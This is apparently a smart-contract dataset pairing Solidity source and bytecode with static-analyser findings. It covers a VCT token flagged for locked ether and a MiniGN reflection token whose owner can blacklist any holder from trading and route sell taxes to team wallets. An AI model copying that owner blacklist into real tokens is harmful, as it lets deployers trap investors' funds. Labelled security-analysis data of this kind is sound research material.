* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(msg.sender, _value);
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor()public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner)public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
/**
* @title VCT Token
* @dev Token representing VCT.
*/
contract VCTToken is BurnableToken,Ownable,MintableToken {
string public name ;
string public symbol ;
uint8 public decimals = 18 ;
/**
*@dev users sending ether to this contract will be reverted. Any ether sent to the contract will be sent back to the caller
*/
function ()public payable {
revert("Sending ether to the contract is not allowed");
}
/**
* @dev Constructor function to initialize the initial supply of token to the creator of the contract
* @param initialSupply The initial supply of tokens which will be fixed through out
* @param tokenName The name of the token
* @param tokenSymbol The symbol of the token
*/
constructor(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals); //Update total supply with the decimal amount
name = tokenName;
symbol = tokenSymbol;
balances[msg.sender] = totalSupply;
//Emitting transfer event since assigning all tokens to the creator also corresponds to the transfer of tokens to the creator
emit Transfer(address(0), msg.sender, totalSupply);
}
/**
* @dev allows token holders to send tokens to multiple addresses from one single transaction
* Beware that sending tokens to large number of addresses in one transaction might exceed gas limit of the
* transaction or even for the entire block. Not putting any restriction on the number of addresses which are
* allowed per transaction. But it should be taken into account while creating dapps.
* @param dests The addresses to whom user wants to send tokens
* @param values The number of tokens to be sent to each address
*/
function multiSend(address[]dests, uint[]values)public{
require(dests.length==values.length, "Number of addresses and values should be same");
uint256 i = 0;
while (i < dests.length) {
transfer(dests[i], values[i]);
i += 1;
}
}
/**
*@dev helper method to get token details, name, symbol and totalSupply in one go
*/
function getTokenDetail() public view returns (string, string, uint256) {
return (name, symbol, totalSupply);
}
}
|
0x6080604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461018557806306fdde03146101b4578063095ea7b31461024457806318160ddd146102a957806323b872dd146102d4578063289de61514610359578063313ce5671461045c57806340c10f191461048d57806342966c68146104f257806370a082311461051f5780637d64bcb4146105765780638da5cb5b146105a557806395d89b41146105fc578063a9059cbb1461068c578063bb4c9f0b146106f1578063dd62ed3e1461079a578063f2fde38b14610811575b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c8152602001807f53656e64696e6720657468657220746f2074686520636f6e747261637420697381526020017f206e6f7420616c6c6f776564000000000000000000000000000000000000000081525060400191505060405180910390fd5b34801561019157600080fd5b5061019a610854565b604051808215151515815260200191505060405180910390f35b3480156101c057600080fd5b506101c9610867565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102095780820151818401526020810190506101ee565b50505050905090810190601f1680156102365780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561025057600080fd5b5061028f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610905565b604051808215151515815260200191505060405180910390f35b3480156102b557600080fd5b506102be6109f7565b6040518082815260200191505060405180910390f35b3480156102e057600080fd5b5061033f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109fd565b604051808215151515815260200191505060405180910390f35b34801561036557600080fd5b5061036e610e66565b604051808060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156103b857808201518184015260208101905061039d565b50505050905090810190601f1680156103e55780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b8381101561041e578082015181840152602081019050610403565b50505050905090810190601f16801561044b5780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34801561046857600080fd5b50610471610fb5565b604051808260ff1660ff16815260200191505060405180910390f35b34801561049957600080fd5b506104d8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fc8565b604051808215151515815260200191505060405180910390f35b3480156104fe57600080fd5b5061051d600480360381019080803590602001909291905050506111b0565b005b34801561052b57600080fd5b50610560600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112ff565b6040518082815260200191505060405180910390f35b34801561058257600080fd5b5061058b611348565b604051808215151515815260200191505060405180910390f35b3480156105b157600080fd5b506105ba611410565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561060857600080fd5b50610611611436565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610651578082015181840152602081019050610636565b50505050905090810190601f16801561067e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561069857600080fd5b506106d7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506114d4565b604051808215151515815260200191505060405180910390f35b3480156106fd57600080fd5b50610798600480360381019080803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929050505061179f565b005b3480156107a657600080fd5b506107fb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611897565b6040518082815260200191505060405180910390f35b34801561081d57600080fd5b50610852600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061191e565b005b600360149054906101000a900460ff1681565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108fd5780601f106108d2576101008083540402835291602001916108fd565b820191906000526020600020905b8154815290600101906020018083116108e057829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610a3a57600080fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610a8857600080fd5b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610b1357600080fd5b600082118015610bb25750600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610bb083600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119f590919063ffffffff16565b115b1515610bbd57600080fd5b610c0f82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1390919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ca482600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119f590919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7682600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1390919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b606080600060046005600054828054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f075780601f10610edc57610100808354040283529160200191610f07565b820191906000526020600020905b815481529060010190602001808311610eea57829003601f168201915b50505050509250818054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610fa35780601f10610f7857610100808354040283529160200191610fa3565b820191906000526020600020905b815481529060010190602001808311610f8657829003601f168201915b50505050509150925092509250909192565b600660009054906101000a900460ff1681565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561102657600080fd5b600360149054906101000a900460ff1615151561104257600080fd5b611057826000546119f590919063ffffffff16565b6000819055506110af82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119f590919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111515156111fe57600080fd5b61125081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1390919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112a881600054611a1390919063ffffffff16565b6000819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a250565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113a657600080fd5b600360149054906101000a900460ff161515156113c257600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156114cc5780601f106114a1576101008083540402835291602001916114cc565b820191906000526020600020905b8154815290600101906020018083116114af57829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561151157600080fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156115605750600082115b80156115fb5750600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f983600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119f590919063ffffffff16565b115b151561160657600080fd5b61165882600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1390919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116ed82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119f590919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600081518351141515611840576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602d8152602001807f4e756d626572206f662061646472657373657320616e642076616c756573207381526020017f686f756c642062652073616d650000000000000000000000000000000000000081525060400191505060405180910390fd5b600090505b825181101561189257611886838281518110151561185f57fe5b90602001906020020151838381518110151561187757fe5b906020019060200201516114d4565b50600181019050611845565b505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561197a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415156119f25780600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b6000808284019050838110151515611a0957fe5b8091505092915050565b6000828211151515611a2157fe5b8183039050929150505600a165627a7a72305820d1049f5acd1305099871cf6a89d54814d0bf8b2ad4a332f223398b75dd8bc4630029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 6,120 |
0x760f98f7deab926606808812213be6367b203474
|
/**
*Submitted for verification at Etherscan.io on 2021-11-11
*/
/**
*Submitted for verification at Etherscan.io on 2021-11-04
*/
/**
*
*/
/**
* MiniGN for those that missed $GM & $GN
* Website soon
* Join our Telegram Group: https://t.me/MiniGNERC
* Tax is 0% on buys and 10% on sells only: 1% reflections, 5% marketing & 4% developement
* Bots will be blacklisted
*
*
*/
/**
*/
/**
*
*/
/**
*
*/
/**
*
*/
/**
*/
/**
*
*/
/**
*/
pragma solidity ^0.8.3;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract MiniGN is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "MiniGN";
string private constant _symbol = "MiniGN";
uint8 private constant _decimals = 18;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable addr1, address payable addr2) {
_FeeAddress = addr1;
_marketingWalletAddress = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_FeeAddress] = true;
_isExcludedFromFee[_marketingWalletAddress] = true;
emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 1;
_teamFee = 9;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 1;
_teamFee = 9;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ddd565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612923565b61045e565b6040516101789190612dc2565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f5f565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906128d4565b610490565b6040516101e09190612dc2565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612846565b610569565b005b34801561021e57600080fd5b50610227610659565b6040516102349190612fd4565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129a0565b610662565b005b34801561027257600080fd5b5061027b610714565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612846565b610786565b6040516102b19190612f5f565b60405180910390f35b3480156102c657600080fd5b506102cf6107d7565b005b3480156102dd57600080fd5b506102e661092a565b6040516102f39190612cf4565b60405180910390f35b34801561030857600080fd5b50610311610953565b60405161031e9190612ddd565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612923565b610990565b60405161035b9190612dc2565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061295f565b6109ae565b005b34801561039957600080fd5b506103a2610afe565b005b3480156103b057600080fd5b506103b9610b78565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129f2565b6110da565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612898565b611226565b6040516104189190612f5f565b60405180910390f35b60606040518060400160405280600681526020017f4d696e69474e0000000000000000000000000000000000000000000000000000815250905090565b600061047261046b6112ad565b84846112b5565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061049d848484611480565b61055e846104a96112ad565b6105598560405180606001604052806028815260200161366f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b389092919063ffffffff16565b6112b5565b600190509392505050565b6105716112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f590612ebf565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006012905090565b61066a6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90612ebf565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107556112ad565b73ffffffffffffffffffffffffffffffffffffffff1